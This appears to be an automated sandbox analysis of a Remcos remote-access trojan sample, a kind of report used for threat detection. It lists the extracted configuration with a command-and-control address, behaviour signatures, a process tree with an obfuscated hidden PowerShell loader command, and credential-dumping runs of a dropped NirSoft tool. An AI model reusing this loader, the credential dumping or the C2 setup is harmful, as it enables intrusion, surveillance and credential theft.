Analysis
- max time kernel
147s - max time network
148s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
01/03/2024, 05:18
General
- Target 9f2830a19edaacf690e6626e58b201d747a5a510777e5e92acf42a4efd28ddb6.exe
- Size 577KB
- Sample240301-fzpddsdf32
- SHA256 9f2830a19edaacf690e6626e58b201d747a5a510777e5e92acf42a4efd28ddb6
Malware Config
Extracted
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remcos
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RemoteHost
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103.77.243.215:2404
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
-
hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-SHZ02U
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Remcos
Remcos is a closed-source remote control and surveillance software.
- Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) 13 IoCs
- Detects executables built or packed with MPress PE compressor 17 IoCs
- Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 2 IoCs
- Detects executables referencing many email and collaboration clients. Observed in information stealers 2 IoCs
- NirSoft MailPassView 2 IoCs
Password recovery tool for various email clients
- NirSoft WebBrowserPassView 2 IoCs
Password recovery tool for various web browsers
- Nirsoft 6 IoCs
- Executes dropped EXE 3 IoCs
- Loads dropped DLL 2 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
- Drops file in System32 directory 1 IoCs
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 4 IoCs
- Drops file in Windows directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- NSIS installer 2 IoCs
- Suspicious behavior: EnumeratesProcesses 15 IoCs
- Suspicious behavior: MapViewOfSection 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\9f2830a19edaacf690e6626e58b201d747a5a510777e5e92acf42a4efd28ddb6.exe"C:\Users\Admin\AppData\Local\Temp\9f2830a19edaacf690e6626e58b201d747a5a510777e5e92acf42a4efd28ddb6.exe"1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden $Unaffranchised=Get-Content 'C:\Users\Admin\AppData\Local\decahedrodra\sphacelus\Snniker\Seychelliske\brandbar\Choktilstandens.Max';$Syrings=$Unaffranchised.SubString(56820,3);.$Syrings($Unaffranchised)2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "set /A 1^^0"3⤵
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C:\Users\Admin\AppData\Local\Temp\Sistani.exe"C:\Users\Admin\AppData\Local\Temp\Sistani.exe"3⤵
- Loads dropped DLL
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\Sistani.exeC:\Users\Admin\AppData\Local\Temp\Sistani.exe /stext "C:\Users\Admin\AppData\Local\Temp\pnhgdclekxrfvhbmpwxnmfn"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
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-
C:\Users\Admin\AppData\Local\Temp\Sistani.exeC:\Users\Admin\AppData\Local\Temp\Sistani.exe /stext "C:\Users\Admin\AppData\Local\Temp\aimydvwxyfjjxvpqyhkpxshcpd"4⤵
- Executes dropped EXE
- Accesses Microsoft Outlook accounts
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-
C:\Users\Admin\AppData\Local\Temp\Sistani.exeC:\Users\Admin\AppData\Local\Temp\Sistani.exe /stext "C:\Users\Admin\AppData\Local\Temp\kcrrengzmnbwibluprxrawutyjjyb"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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-
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
logs.dat
Sistani.exe
__PSScriptPolicyTest_204dpkql.txf.ps1
nsExec.dll
pnhgdclekxrfvhbmpwxnmfn
Future.Flo
Choktilstandens.Max
memory/1592-36-0x0000000007570000-0x0000000007B14000-memory.dmp
memory/1592-41-0x00000000049B0000-0x00000000049C0000-memory.dmp
memory/1592-29-0x0000000005A70000-0x0000000005AD6000-memory.dmp
memory/1592-30-0x0000000005AE0000-0x0000000005E34000-memory.dmp
memory/1592-31-0x0000000005F50000-0x0000000005F6E000-memory.dmp
memory/1592-32-0x0000000005F80000-0x0000000005FCC000-memory.dmp
memory/1592-33-0x0000000006F20000-0x0000000006FB6000-memory.dmp
memory/1592-34-0x0000000006460000-0x000000000647A000-memory.dmp
memory/1592-35-0x00000000064B0000-0x00000000064D2000-memory.dmp
memory/1592-63-0x0000000074170000-0x0000000074920000-memory.dmp
memory/1592-23-0x00000000057F0000-0x0000000005812000-memory.dmp
memory/1592-38-0x00000000081A0000-0x000000000881A000-memory.dmp
memory/1592-40-0x00000000049B0000-0x00000000049C0000-memory.dmp
memory/1592-25-0x0000000005990000-0x00000000059F6000-memory.dmp
memory/1592-17-0x0000000005030000-0x0000000005658000-memory.dmp
memory/1592-43-0x0000000007480000-0x0000000007484000-memory.dmp
memory/1592-44-0x0000000008820000-0x000000000E5F5000-memory.dmp
memory/1592-45-0x0000000074170000-0x0000000074920000-memory.dmp
memory/1592-46-0x00000000049B0000-0x00000000049C0000-memory.dmp
memory/1592-48-0x00000000049B0000-0x00000000049C0000-memory.dmp
memory/1592-50-0x0000000077AF1000-0x0000000077C11000-memory.dmp
memory/1592-16-0x00000000049B0000-0x00000000049C0000-memory.dmp
memory/1592-54-0x00000000049B0000-0x00000000049C0000-memory.dmp
memory/1592-53-0x00000000049B0000-0x00000000049C0000-memory.dmp
memory/1592-15-0x00000000049B0000-0x00000000049C0000-memory.dmp
memory/1592-14-0x0000000074170000-0x0000000074920000-memory.dmp
memory/1592-13-0x00000000049C0000-0x00000000049F6000-memory.dmp
memory/3424-89-0x0000000000400000-0x0000000000424000-memory.dmp
memory/3424-82-0x0000000000400000-0x0000000000424000-memory.dmp
memory/3424-87-0x0000000000400000-0x0000000000424000-memory.dmp
memory/3424-73-0x0000000000400000-0x0000000000424000-memory.dmp
memory/4080-84-0x0000000000400000-0x0000000000457000-memory.dmp
memory/4080-69-0x0000000000400000-0x0000000000457000-memory.dmp
memory/4080-86-0x0000000000400000-0x0000000000457000-memory.dmp
memory/4080-77-0x0000000000400000-0x0000000000457000-memory.dmp
memory/4772-98-0x0000000024080000-0x0000000024099000-memory.dmp
memory/4772-102-0x0000000000450000-0x00000000016A4000-memory.dmp
memory/4772-132-0x0000000000450000-0x00000000016A4000-memory.dmp
memory/4772-129-0x0000000000450000-0x00000000016A4000-memory.dmp
memory/4772-62-0x0000000077AF1000-0x0000000077C11000-memory.dmp
memory/4772-57-0x0000000000450000-0x00000000016A4000-memory.dmp
memory/4772-126-0x0000000000450000-0x00000000016A4000-memory.dmp
memory/4772-56-0x0000000077AF1000-0x0000000077C11000-memory.dmp
memory/4772-95-0x0000000024080000-0x0000000024099000-memory.dmp
memory/4772-58-0x0000000000450000-0x00000000016A4000-memory.dmp
memory/4772-99-0x0000000024080000-0x0000000024099000-memory.dmp
memory/4772-100-0x0000000024080000-0x0000000024099000-memory.dmp
memory/4772-101-0x0000000024080000-0x0000000024099000-memory.dmp
memory/4772-123-0x0000000000450000-0x00000000016A4000-memory.dmp
memory/4772-105-0x0000000000450000-0x00000000016A4000-memory.dmp
memory/4772-55-0x0000000077B78000-0x0000000077B79000-memory.dmp
memory/4772-108-0x0000000000450000-0x00000000016A4000-memory.dmp
memory/4772-111-0x0000000000450000-0x00000000016A4000-memory.dmp
memory/4772-114-0x0000000000450000-0x00000000016A4000-memory.dmp
memory/4772-117-0x0000000000450000-0x00000000016A4000-memory.dmp
memory/4772-120-0x0000000000450000-0x00000000016A4000-memory.dmp
memory/4976-78-0x0000000000400000-0x0000000000478000-memory.dmp
memory/4976-92-0x0000000000400000-0x0000000000478000-memory.dmp
memory/4976-66-0x0000000000400000-0x0000000000478000-memory.dmp
memory/4976-72-0x0000000000400000-0x0000000000478000-memory.dmp